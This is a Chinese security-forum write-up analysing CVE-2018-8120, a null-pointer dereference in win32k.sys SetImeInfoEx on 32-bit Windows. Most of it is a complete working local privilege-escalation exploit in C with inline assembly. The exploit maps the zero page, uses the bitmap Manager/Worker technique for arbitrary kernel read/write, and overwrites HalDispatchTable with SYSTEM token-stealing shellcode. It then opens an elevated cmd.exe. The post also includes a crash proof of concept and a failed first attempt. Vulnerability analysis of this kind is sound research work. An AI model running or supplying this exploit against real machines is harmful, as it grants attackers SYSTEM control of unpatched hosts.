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本文为看雪论坛优秀文章
看雪论坛作者ID:wx_酸菜鱼
参考链接:
https://www.anquanke.com/post/id/241057
https://www.freebuf.com/vuls/174183.html
https://blog.csdn.net/qq_38025365/article/details/106343443
官方链接:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2018-8120
可在其中找受影响的版本复现,在受影响版本的系统中找到win32k.sys导入IDA。
配合api文档查函数
https://learn.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-getprocesswindowstation
windbg 双机调试
.reload/f win32k.sys,可以找到win32k.pdb文件,导入IDA后便能查看函数名。
漏洞函数位于win32k.sys的SetImeInfoEx()函数,该函数在使用一个内核对象的字段之前并没有进行是否为空的判断,当该值为空时,函数直接读取零地址内存。如果在当前进程环境中没有映射零页面,该函数将触发页面错误异常,导致系统蓝屏发生。



查看下tagWINDOWSTATION
dt win32k!tagWINDOWSTATION

spklList对象的结构为:

漏洞触发验证
查看SSDT表
dd KeServiceDescriptorTable
dds Address L11C 显示地址里面值指向的地址. 以4个字节显示。

dd nt!KeServiceDescriptorTableShadow
dds bf999b80 L0000029b
函数的索引号:(bf999bb4 - bf999b80)/4 = 0x34/0x4 = 0xD = 13直接使用PChunter。

#include<Windows.h>
#include<stdio.h>
#include <intrin.h>
DWORD gSyscalIndex = 0x1226;
_declspec(naked)void NtUserSetImeInfoEx(PVOID argv1) {
_asm {
mov esi, argv1;
mov eax, gSyscalIndex; //系统调用服务号
mov edx, 0x7FFE0300; //ntdll.KiFastSystemCall快速系统调用
call DWORD ptr[edx];
ret 4;
}
}
int main() {
HWINSTA hSta = CreateWindowStation(0, 0, READ_CONTROL, 0);
SetProcessWindowStation(hSta);
char ime[0x800];
NtUserSetImeInfoEx((PVOID)&ime);
return 0;
}
windbg捕获到的正是SetImeInfoEx()中针对pWindowStation->spklList字段进行内存访问的代码。

已知漏洞产生的原因是零地址内存访问违例,如果在漏洞函数运行的进程中,零地址处的内存分页完成映射,则函数将继续执行。下面继续看看函数如果继续运行,会发生什么情况。

漏洞产生函数后续执行过程中会执行内存拷贝,且拷贝源来自于参数2,属于用户可控内容。如果拷贝目标v4可控,则可以实现任意内存地址写入(且漏洞函数运行在内核权限,内核空间与用户空间内存均有权限读写)。至此,如果可以实现任意内存地址写入,则可以通过覆盖系统服务函数指针的方式,实现任意代码执行。
HEVD中的空指针解引用用例,使用NtAllocateVirtualMemory映射零地址分页的内存。
https://blog.csdn.net/qq_38025365/article/details/106176472?spm=1001.2014.3001.5502
HEVD中的任意地址写用例,覆盖ntoskrnl!HalDispatchTable表中第二项的hal!HaliQuerySystemInformation()函数指针,NtQueryIntervalProfile()函数在运行过程中会从HalDispatchTable表中调用该函数。使得用户程序在调用系统函数NtQueryIntervalProfile()的时候,执行由应用程序设定的ShellCode。
https://bbs.pediy.com/thread-225176.htm

#include<stdio.h>
#include <intrin.h>
DWORD gSyscalIndex = 0x1226;
_declspec(naked)void NtUserSetImeInfoEx(PVOID argv1) {
_asm {
mov esi, argv1;
mov eax, gSyscalIndex; //系统调用服务号
mov edx, 0x7FFE0300; //ntdll.KiFastSystemCall快速系统调用
call DWORD ptr[edx];
ret 4;
}
}
typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
int main() {
HWINSTA hSta = CreateWindowStation(0, 0, READ_CONTROL, 0);
SetProcessWindowStation(hSta);
char ime[0x800];
*(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
GetModuleHandleW(L&#34;ntdll&#34;),
&#34;NtAllocateVirtualMemory&#34;);
if (NtAllocateVirtualMemory == NULL)
{
printf(&#34;[+]Failed to get function NtAllocateVirtualMemory!!!\n&#34;);
system(&#34;pause&#34;);
return;
}
PVOID Zero_addr = (PVOID)0x100;
SIZE_T RegionSize = 0x1000;
printf(&#34;[+]Started to alloc zero page...\n&#34;);
if (!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr != NULL)
{
printf(&#34;[+]Failed to alloc zero page!\n&#34;);
system(&#34;pause&#34;);
return;
}
printf(&#34;[+]Success to alloc zero page...\n&#34;);
printf(&#34;申请到的地址是 0x%p\n&#34;, Zero_addr);
PBYTE pt = (PBYTE)Zero_addr;
*(PDWORD)(pt + 0x14) = (DWORD)0x12345678;
*(PDWORD)(ime) = (DWORD)0x12345678;
*(PDWORD)(pt + 0x2C) = (DWORD)0x83d2b3fc; //HalDispatchTable+0x4
NtUserSetImeInfoEx((PVOID)&ime);
return 0;
}
上诉方法利用失败,函数指针目标地址,无法通过漏洞函数的第二个判断
用户态程序使用CreateBitmap函数创建得到的Bitmap对象的成员结构中,有存在于内核空间中的成员指针变量pvScan0,而该指针变量可以在用户态下,通过调用GetBitmaps以及SetBitmaps方法,对pvScan0指向的内存地址进行读取和写入。
Bitmap GDI技术参考:
https://www.anquanke.com/post/id/247764#h2-0
https://xz.aliyun.com/t/8667
// 创建Bitmap
HBITMAP CreateBitmap(
int nWidth,
int nHeight,
UINT nPlanes,
UINT nBitCount,
const VOID *lpBits
);
// 将bitmap bits拷贝到指定缓冲区
LONG GetBitmapBits(
HBITMAP hbit,
LONG cb,
LPVOID lpvBits
);
// 设置bitmap的bits
LONG SetBitmapBits(
HBITMAP hbm,
DWORD cb,
const VOID *pvBits
);
CreateBitMap创建的结构SURFACE OBJECT。

当程序调用了CreateBitmap方法后,程序的进程环境控制块(PEB)中的GdiSharedHandleTable表便增加了一个索引,该索引对象的结构为:
typedef struct _GDICELL
{
LPVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
LPVOID pUserAddress;
} GDICELL;
pKernelAddress泄露了Bitmap对象的内核地址,再看pKernelAddress指向的数据结构:
typedefstruct {
BASEOBJECT BaseObject; //0x00
SURFOBJ SurOBJ; //0x18
}
typedef struct _BASEOBJECT {
HANDLE hHmgr; 0x04
PVOID pEntry; 0x08
LONG cExclusiveLock; 0x0d
PW32THREAD Tid;0x10
} BASEOBJECT, *POBJ;
typedef struct _SURFOBJ {
DHSURF dhsurf; 0x04
HSURF hsurf; 0x08
DHPDEV dhpdev; 0x09
HDEV hdev; 0x0a
SIZEL sizlBitmap; 0x0e
ULONG cjBits; 0x12
PVOID pvBits; 0x16
PVOID pvScan0; 0x20
LONG lDelta; 0x24
ULONG iUniq; 0x28
ULONG iBitmapFormat; 0x2c
USHORT iType; 0x2e
USHORT fjBitmap; 0x30
} SURFOBJ

gdiCell_Addr = PEB.GdiSharedHandleObejct + (hMgr & 0xffff) * sizeof(GDICELL)
pvScan0_Offset = pKernelAddress + 0x10 + 0x1c
pvScan0 = *( PEB.GdiSharedHandleObejct + (hMgr & 0xffff) * sizeof(GDICELL)) + 0x2C;
在32位系统下,通过GDICELL->pKernelAddress + 0x30(在64位系统下是0x50,具体计算成员变量指针所占字节),即可得到指向pvScan0指针的偏移量。
(1) 创建2个bitmaps(Manager/Worker)。
(2) 使用CreateBitMap返回的handle获取pvScan0的地址。
(3) 使用任意地址写漏洞将Worker的pvScan0地址写入Manager的PvScan0(作为Value)。
(4) 对Manager使用SetBitmapBits ,也就是改写Woker的pvScan0的Value为读/写的任意地址。
(5) 对Worker使用GetBitmapBits/SetBitmapBits,以对第四步设置的地址任意读写!

#include<Windows.h>
#include<stdio.h>
#include<Psapi.h>
#include<profileapi.h>
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(
IN ULONG ProfileSource,
OUT PULONG Interval
);
typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
//申请0页内存
void getZeroMemory() {
PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;
*(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
GetModuleHandleW(L&#34;ntdll&#34;),
&#34;NtAllocateVirtualMemory&#34;);
if (NtAllocateVirtualMemory == NULL)
{
printf(&#34;[+]Failed to get function NtAllocateVirtualMemory!!!\n&#34;);
system(&#34;pause&#34;);
}
if (!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr != NULL)
{
printf(&#34;[+]Failed to alloc zero page!\n&#34;);
system(&#34;pause&#34;);
}
printf(&#34;[+]Success to alloc zero page...\n&#34;);
}
__declspec(naked) VOID ShellCode()
{
_asm
{
pushad
mov eax, fs: [124h] // 找到当前线程的_KTHREAD结构
mov eax, [eax + 0x50] // 找到_EPROCESS结构
mov ecx, eax
mov edx, 4 // edx = system PID(4)
// 循环是为了获取system的_EPROCESS
find_sys_pid :
mov eax, [eax + 0xb8] // 找到进程活动链表
sub eax, 0xb8 // 链表遍历
cmp[eax + 0xb4], edx // 根据PID判断是否为SYSTEM
jnz find_sys_pid
// 替换Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
xor eax, eax
ret
}
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L&#34;cmd.exe&#34; };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
//获取ntkrnlpa.exe 在 kernel mode 中的基地址
LPVOID NtkrnlpaBase()
{
LPVOID lpImageBase[1024];
DWORD lpcbNeeded;
CHAR lpfileName[1024];
EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
for (int i = 0; i < 1024; i++)
{
GetDeviceDriverBaseNameA(lpImageBase, lpfileName, 48);
if (!strcmp(lpfileName, &#34;ntkrnlpa.exe&#34;))
{
printf(&#34;[+]success to get %s\n&#34;, lpfileName);
return lpImageBase;
}
}
return NULL;
}
DWORD32 GetHalOffset_4()
{
// 获取ntkrnlpa.exe运行时基址
PVOID pNtkrnlpaBase = NtkrnlpaBase();
printf(&#34;[+]ntkrnlpa base address is 0x%p\n&#34;, pNtkrnlpaBase);
// 获取用户态加载ntkrnlpa.exe的地址
HMODULE hUserSpaceBase = LoadLibrary(&#34;ntkrnlpa.exe&#34;);
// 获取用户态中HalDispatchTable的地址
PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, &#34;HalDispatchTable&#34;);
// 由ntkrnlpa.exe运行时基址加上HalDispatchTable偏移量,得到HalDispatchTable在内核空间中的地址,加上0x4偏移量
DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;
printf(&#34;[+]HalDispatchTable+0x4 is 0x%p\n&#34;, hal_4);
return (DWORD32)hal_4;
}
//NtUserSetImeInfoEx()系统服务函数未导出,需要自己在用户进程中调用该系统服务函数,以执行漏洞函数SetImeInfoEx()。
//其中SyscallIndex的计算,根据系统ShadowSSDT表导出序号计算。
DWORD gSyscall = 0x1226;
__declspec(naked) void NtUserSetImeInfoEx(PVOID tmp)
{
_asm
{
mov esi, tmp;
mov eax, gSyscall; //系统调用符号
mov edx, 0x7FFE0300; // ntdll.KiFastSystemCall快速系统调用
call dword ptr[edx];
ret 4;
}
}
DWORD getpeb()
{
//在NT内核中,FS段为TEB,TEB偏移0x30处为PEB
DWORD p = (DWORD)__readfsdword(0x18);
p = *(DWORD*)((char*)p + 0x30);
return p;
}
DWORD gTableOffset = 0x094;
DWORD getgdi()
{
return *(DWORD*)(getpeb() + gTableOffset);
}
DWORD gtable;
typedef struct
{
LPVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
LPVOID pUserAddress;
} GDICELL;
PVOID getpvscan0(HANDLE h)
{
if (!gtable)
gtable = getgdi();
DWORD p = (gtable + LOWORD(h) * sizeof(GDICELL)) & 0x00000000ffffffff;
GDICELL* c = (GDICELL*)p;
return (char*)c->pKernelAddress + 0x30;
}
int main()
{
//1. 创建bitmap对象
unsigned int bbuf[0x60] = { 0x90 };
HANDLE gManger = CreateBitmap(0x60, 1, 1, 32, bbuf);
HANDLE gWorker = CreateBitmap(0x60, 1, 1, 32, bbuf);
//2. 使用句柄查找GDICELL,计算pvScan0地址
PVOID mpv = getpvscan0(gManger);
PVOID wpv = getpvscan0(gWorker);
printf(&#34;[+] Get manager at 0x%p,worker at 0x%p\n&#34;, mpv, wpv);
//使用漏洞将Worker的pvScan0偏移地址写入Manager的pvScan0值
// 新建一个新的窗口,新建的WindowStation对象其偏移0x14位置的spklList字段的值默认是零
HWINSTA hSta = CreateWindowStation(
0, //LPCSTR lpwinsta
0, //DWORD dwFlags
READ_CONTROL, //ACCESS_MASK dwDesiredAccess
0 //LPSECURITY_ATTRIBUTES lpsa
);
// 和窗口当前进程关联起来
SetProcessWindowStation(hSta);
char buf[0x200];
RtlSecureZeroMemory(&buf, 0x200);
PVOID* p = (PVOID*)&buf;
p[0] = (PVOID)wpv;
DWORD* pp = (DWORD*)&p[1];
pp[0] = 0x180;
pp[1] = 0x1d95;
pp[2] = 6;
pp[3] = 0x10000;
pp[5] = 0x4800200;
//获取0页内存
getZeroMemory();
*(DWORD*)(0x2C) = (DWORD)(mpv);
*(DWORD*)(0x14) = (DWORD)(wpv);
// WindowStation->spklList字段为0,函数继续执行将触发漏洞
NtUserSetImeInfoEx((PVOID)&buf);
PVOID pOrg = 0;
DWORD haladdr = GetHalOffset_4();
PVOID oaddr = (PVOID)haladdr;
PVOID sc = &ShellCode;
SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr); //利用manager设置worker的可修改地址为hal函数
printf(&#34;[+]要覆盖的目标地址 0x%x\n&#34;, oaddr);
GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);//获取可修改的地址
SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc);//设置地址为shellcode
printf(&#34;[+]覆盖完毕,准备执行Shellcode&#34;);
//触发shellcode
NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA(&#34;ntdll.dll&#34;), &#34;NtQueryIntervalProfile&#34;);
printf(&#34;[+]NtQueryIntervalProfile address is 0x%x\n&#34;, NtQueryIntervalProfile);
DWORD interVal = 0;
NtQueryIntervalProfile(0x1337, &interVal);
//收尾
SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
CreateCmd();
return 0;
}
不同版本的exp还没完全看懂。
其中alphalab中win32版本的exp提出来,有些地方对不上,感觉很奇怪。
阅读原文:Windows内核提权漏洞CVE-2018-8120分析 |
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